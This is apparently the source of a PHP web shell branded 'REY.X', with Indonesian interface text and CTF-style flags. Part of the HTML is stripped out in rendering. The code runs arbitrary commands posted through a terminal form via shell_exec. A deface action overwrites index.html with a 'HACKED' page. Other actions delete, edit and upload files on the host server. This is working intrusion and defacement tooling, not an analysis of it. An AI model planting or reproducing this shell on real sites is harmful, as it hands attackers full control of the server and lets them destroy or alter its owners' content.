Shell

Masukkan password untuk mengakses

'; $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $icons = [ 'php' => 'fab fa-php', 'html' => 'fab fa-html5', 'css' => 'fab fa-css3-alt', 'js' => 'fab fa-js', 'jpg' => 'fas fa-image', 'png' => 'fas fa-image', 'gif' => 'fas fa-image', 'txt' => 'fas fa-file-alt', 'zip' => 'fas fa-file-archive', 'pdf' => 'fas fa-file-pdf', ]; $icon = isset($icons[$ext]) ? $icons[$ext] : 'fas fa-file'; return ''; } function isEditable($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $editable = ['php', 'html', 'htm', 'txt', 'css', 'js', 'json', 'xml', 'sql', 'md']; return in_array($ext, $editable); } function execute($cmd) { $output = shell_exec($cmd . ' 2>&1'); return $output ?? '(Tidak ada output)'; } // ============================================================ // PROSES ACTION // ============================================================ $action = isset($_GET['action']) ? $_GET['action'] : 'dashboard'; $message = ''; $error = ''; // --- DEFACE --- if ($action === 'deface') { $msg = isset($_GET['msg']) ? $_GET['msg'] : 'Hacked By REY.X'; $html = ' 🔥 HACKED

HACKED

Website ini telah diambil alih oleh REY.X

' . htmlspecialchars($msg) . '

🚩 FLAG: REYX{deface_success_2026}

'; if (file_put_contents('index.html', $html)) { $message = '✅ Deface berhasil! Halaman utama telah diganti.'; $message .= '
🔗 Lihat Hasil Deface'; } else { $error = '❌ Gagal melakukan deface! Cek izin file.'; } } // --- RESET --- if ($action === 'reset') { $default = ' Website

Selamat Datang

Website telah direset.

'; if (file_put_contents('index.html', $default)) { $message = '✅ Reset berhasil! Halaman utama kembali normal.'; $message .= '
🔗 Lihat Halaman'; } else { $error = '❌ Gagal reset! Cek izin file.'; } } // --- DELETE --- if ($action === 'delete' && isset($_GET['file'])) { $file = $_GET['file']; $full_path = ROOT_PATH . '/' . $file; if (file_exists($full_path) && is_file($full_path) && $file != 'shell.php') { if (unlink($full_path)) { $message = '✅ File ' . htmlspecialchars($file) . ' berhasil dihapus!'; } else { $error = '❌ Gagal menghapus file!'; } } else { $error = '❌ File tidak ditemukan atau tidak bisa dihapus!'; } } // --- EDIT - Load file --- $edit_content = ''; $edit_file = ''; if ($action === 'edit' && isset($_GET['file'])) { $edit_file = $_GET['file']; $full_path = ROOT_PATH . '/' . $edit_file; if (file_exists($full_path) && is_file($full_path) && isEditable($edit_file)) { $edit_content = htmlspecialchars(file_get_contents($full_path)); } else { $error = '❌ File tidak bisa diedit!'; } } // --- EDIT - Save file --- if ($action === 'save' && isset($_POST['content']) && isset($_POST['file'])) { $file = $_POST['file']; $content = $_POST['content']; $full_path = ROOT_PATH . '/' . $file; if (file_exists($full_path) && is_file($full_path) && isEditable($file)) { if (file_put_contents($full_path, $content)) { $message = '✅ File ' . htmlspecialchars($file) . ' berhasil disimpan!'; } else { $error = '❌ Gagal menyimpan file!'; } } else { $error = '❌ File tidak bisa diedit!'; } } // --- COMMAND --- $cmd_output = ''; if ($action === 'cmd' && isset($_POST['command'])) { $cmd = $_POST['command']; $cmd_output = execute($cmd); } // --- UPLOAD --- if ($action === 'upload') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $target = ROOT_PATH . '/' . basename($file['name']); if (move_uploaded_file($file['tmp_name'], $target)) { $message = '✅ File ' . htmlspecialchars(basename($file['name'])) . ' berhasil diupload!'; $message .= '
🔗 Lihat File'; } else { $error = '❌ Gagal upload file!'; } } } // --- SCAN FILES --- $files = scandir(ROOT_PATH); $dirs = []; $file_list = []; foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $path = ROOT_PATH . '/' . $file; if (is_dir($path)) { $dirs[] = $file; } else { $file_list[] = $file; } } // ============================================================ // RENDER HTML // ============================================================ ?> 🔥 Web Shell - REY.X

Web Shell

Online

✅ Logout berhasil! Login lagi

Informasi Server

OS:

User:

PHP Version:

Server:

Current Path:

🚩 FLAG: REYX{web_shell_master_2026}

File di

/ DIR Open

Edit Delete

File Manager -

/ DIR Delete

Edit Delete

Upload File

Terminal

Edit File: